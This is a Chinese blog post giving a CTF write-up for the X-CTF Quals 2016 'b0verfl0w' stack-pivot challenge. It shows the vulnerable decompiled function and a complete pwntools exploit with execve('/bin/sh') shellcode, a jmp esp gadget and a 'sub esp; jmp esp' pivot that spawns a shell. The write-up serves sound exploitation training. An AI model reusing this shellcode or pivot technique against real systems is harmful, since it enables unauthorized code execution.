美文网首页
1-wiki-X-CTF Quals 2016 - b0verf

1-wiki-X-CTF Quals 2016 - b0verf

作者: Zero_0_0 | 来源:发表于2019-04-15 20:12 被阅读0次

    题目下载:

    https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF%20Quals%202016%20-%20b0verfl0w
    
    1.先检查一下安全防护机制 图片.png
    2.首先在本地运行一下对比一下源码效果
    signed int vul()
    {
      char s; // [sp+18h] [bp-20h]@1
    
      puts("\n======================");
      puts("\nWelcome to X-CTF 2016!");
      puts("\n======================");
      puts("What's your name?");
      fflush(stdout);
      fgets(&s, 50, stdin);   //
      printf("Hello %s.", &s);
      fflush(stdout);
      return 1;
    }
    

    做题先思考:
    1.利用rop链条
    2.利用gadget片段

    因为我们的溢出空间太小0x12,丢弃rROP(如果里面有实system和/bin/sh我们可以尝试一下利用)
    注:因为我们没有开启nx机制 我们可以利用传入shellcode,调用shellcode来产生交互。

    图片.png
    from pwn import*
    ##context.log_level = 'debug'
    p  = process("./b0verfl0w")
    ##p = remote("","")
    
    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
    sub_esp_jmp = asm('sub esp, 0x28;jmp esp')  //重点  需要自己写汇编代码
    jmp_esp_ret_addr = 0x8049504
    
    
    payload = shellcode
    payload += 'A'*(0x20-len(shellcode)) + 'bbbb'
    payload += p32(jmp_esp_ret_addr)
    payload += sub_esp_jmp    // 我们书写的汇编代码 不需要p32() 注意
    
    p.sendline(payload)
    p.interactive()
    
    

    相似:参考有道云笔记 1-栈溢出

    相关文章

      网友评论

          本文标题:1-wiki-X-CTF Quals 2016 - b0verf

          本文链接:https://www.haomeiwen.com/subject/bhdpwqtx.html